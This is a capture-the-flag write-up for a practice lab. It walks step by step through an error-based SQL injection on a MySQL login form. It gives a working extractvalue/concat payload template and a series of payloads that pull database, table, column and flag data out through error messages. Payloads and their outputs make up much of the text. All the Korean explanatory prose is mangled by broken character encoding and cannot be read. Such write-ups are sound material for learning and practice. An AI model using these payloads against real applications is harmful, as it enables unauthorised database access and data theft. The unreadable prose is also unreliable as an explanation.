[SegFault] (SQLi) - SQL Injection 5
[SegFault] (SQLi)
SQL Injection 5
Flag ์ฐพ์ผ์ธ์! ์ธ๋ด์ฌ์ ๊ฐ์ง์ธ์! ใ ใ ใ ใ
๋ฌธ์ ํ์
์์ ํ์ด์ง์ ๋ค์ด๊ฐ๋ฉด ์๋์ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ์ฃผ์ด์ง ๊ณ์ ์ ๋ณด๋ก ๋ก๊ทธ์ธ ํด๋ณด์.
๊ณ์ ์ ๋ณด : normaltic / 1234
๋ก๊ทธ์ธ ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ํ์ด์ง๋ก ๋์ด๊ฐ๋ค.
๋ก๊ทธ์ธ ํ์ ๋ดค์๋ ๋ฑํ ์ ๋ ฅ ๋ถ๋ถ์ด ๋ณด์ด์ง ์๋๋ค.
๊ทธ๋ ๋ค๋ฉด ๋ก๊ทธ์ธ ์ฐฝ์์ SQL Injection์ด ๊ฐ๋ฅํ์ง ํ์ธํด๋ณด์.
SQL Injection Point
'and'1'='1 ์ ๋ฃ์ด์ค ์ํ๋ก๋ ์ ์ ๋์ํ๋์ง ํ์ธํ๋ค.
normaltic'and'1'='1 / 1234
์์ id / pw๋ก๋ ๋ก๊ทธ์ธ๋๋์ง ํ์ธํ ๊ฒฐ๊ณผ ์ ์์ ์ผ๋ก ๋ก๊ทธ์ธ๋๋ ๊ฒ์ ํ์ธํ๋ค.
๊ทธ๋ ์ง๋ง ์ฌ๊ธฐ์ ๋ก๊ทธ์ธ์ ๋ํ ๊ฒฐ๊ณผ ์ธ์ SQL Injection ๋ฐฉ์์ ๊ฒฐ์ ํ ๋ฐฉ๋ฒ์ด ์๋์ง ํ์ธํด์ผ ํ๋ค.
๊ทธ๋์ ' ๋ฅผ ์ ๋ ฅํ์ฌ ' ์ ๊ฐ์๊ฐ ๋ง์ง ์๋๋ก ์ ๋ํ์ฌ syntax error๋ฅผ ๋ฐ์์์ผ๋ณธ๋ค.
๊ทธ ๊ฒฐ๊ณผ ์๋ฌ ๋ฉ์์ง๊ฐ ๋ก๊ทธ์ธ์ฐฝ ํ๋จ๋ถ์ ๊ทธ๋๋ก ๋ ธ์ถ๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
์ด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก Error Based SQL Injection์ ์งํ ์ ์ฐจ(Process)์ ๋ฐ๋ผ ์งํํ๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
1. SQL Injection Point ์ฐพ๊ธฐ
์์์ Error ์ ๋ณด๊ฐ ํ๋ฉด์ ๋ ธ์ถ๋๋ ๊ฒ์ ํ์ธํ์๋ค.
2. Error๋ฅผ ์ ๋ฐํ๋ ํจ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ MySQL์ ์ฌ์ฉํ๋ค. MySQL์ ์๋ฌ ์ ๋ฐ ํจ์๋ extractvalue ์ด๋ค.
3. ๊ณต๊ฒฉ Format ์์ฑํ๊ธฐ
' and extractvalue('1',concat(0x3a,(______))) and '1'='1
์ด์ ์์ ๋น์นธ์ ์ํ๋ SQL ๊ตฌ๋ฌธ์ ์ฝ์ ํ๋ฉด ๋๋ค.
4. DB ์ด๋ฆ ํ์ธํ๊ธฐ
์ด๋ค TABLE๊ณผ COLUMN์ด ์๋์ง ์์๋ด๊ธฐ ์ํด ์ด๋ค DB๊ฐ ์กด์ฌํ๋์ง ๋ถํฐ ํ์ธํ๋ค.
' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1
Could not update data: XPATH syntax error: ':sqli_2_2'
๊ทธ ๊ฒฐ๊ณผ DB ์ด๋ฆ์ sqli_2_2 ์์ ํ์ธํ ์ ์์๋ค.
5. Table ์ด๋ฆ ํ์ธํ๊ธฐ
Table์ ํ์ธํ๊ธฐ ์ํ ์ฟผ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.
select table_name from information_schema.tables where table_schema = 'sqli_2_2'
์์ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ์ ๋ ฅํด๋ณธ๋ค.
' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2_2'))) and '1'='1
๊ทธ ๊ฒฐ๊ณผ ๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๊ฐ ๋ฐ์ํ์๋ค.
Could not update data: Subquery returns more than 1 row
์๋ฌ์ ๋ด์ฉ์ ๋ณด๋ฉด ์ฌ๋ฌํ์ด ๋์ค๊ธฐ ๋๋ฌธ์ ๋ฐ์ํ ์๋ฌ๋ก ํ์ธ๋์๋ค.
limit์ ์ด์ฉํ์ฌ ํ์ค์ฉ๋ง ์ถ๋ ฅํด์ค ํ์๊ฐ ์์ด ๋ณด์ธ๋ค.
๊ทธ์ ์ TABLE์ ๊ฐ์๋ฅผ ํ์ธํด ๋ณด๋๋กํ์.
' and extractvalue('1',concat(0x3a,(select count(table_name) from information_schema.tables where table_schema = 'sqli_2_2'))) and '1'='1
๊ทธ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
2๊ฐ์ Table์ด ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ์๋ค. ๊ทธ๋ผ ๊ฐ๊ฐ์ ์ด๋ฆ์ limit (0~1)์ ํตํด ํ์ธํด๋ณด์.
select table_name from information_schema.tables where table_schema = 'sqli_2_2' limit 0,1
์ด๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ์ ๋ ฅํด์ฃผ๋ฉด ๋ค์๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค.
flagTable_this ์ member์ด๋ผ๋ TABLE์ด ํ์ธ๋์๋ค.
6. Column ์ด๋ฆ ํ์ธํ๊ธฐ
์ฐ์ ์ด๋ฆ์ด ์์ฌ์ค๋ฌ์ด flagTable_this ๋ถํฐ ํ์ธํด๋ณด๊ธฐ๋ก ํ๋ค.
์ผ๋จ ํด๋น TABLE ๋ด๋ถ์ ๋ช ๊ฐ์ COLUMN์ด ์๋์ง ํ์ธํด๋ณธ๋ค.
' and extractvalue('1',concat(0x3a,(select count(column_name) from information_schema.columns where table_name = 'flagTable_this'))) and '1'='1
๊ทธ ๊ฒฐ๊ณผ 2๊ฐ์ flagTable_this TABLE์ COLUMN์ผ๋ก ์ด๋ฃจ์ด์ง ๊ฒ์ ํ์ธํ ์ ์์๋ค.
limit (0~1)์ ์ด์ฉํ์ฌ COLUMN ์ด๋ฆ๋ค์ ํ์ธํด๋ณด์.
select column_name from information_schema.columns where table_name = 'flagTable_this' limit 0,1
์์ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ์ ๋ ฅํด์ค๋ค.
' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name = 'flagTable_this' limit 0,1))) and '1'='1
๊ทธ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
2๊ฐ์ COLUMN์ ๊ฐ๊ฐ idx ์ flag ์๋ค.
7. Data ์ถ๋ ฅํ๊ธฐ
์ฐ์ flag COLUMN๋ถํฐ ํ์ธํด๋ณด๋๋ก ํ๋ค.
๋จผ์ flag COLUMN ๋ด๋ถ์ DATA์ ๊ฐ์๋ฅผ ํ์ธํด๋ณด์.
' and extractvalue('1',concat(0x3a,(select count(flag) from flagTable_this))) and '1'='1
๊ทธ ๊ฒฐ๊ณผ๋ ๋ฌด๋ ค 17๊ฐ๋ ๋์๋ค. (์ธ๋ด์ฌ์ ๊ฐ์ง๋ผ๋ ์ด์ ๋ฅผ ์๊ฒ ๋ค.)
limit (0 ~ 16)์ ์์๋๋ก ํ์ธํด๋ณด์.
16๊ฐ์ ๋๋ฏธ ๋ฐ์ดํฐ์ ํจ๊ป 13/16 ๋ฒ์งธ์์ flag๋ฅผ ํ์ธํ ์ ์์๋ค.
๊ฒฐ๊ณผ์ ์ผ๋ก Error Based SQLi๋ฅผ ํตํด flag๋ฅผ ํ๋ํ๋๋ฐ ์ฑ๊ณตํ์๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์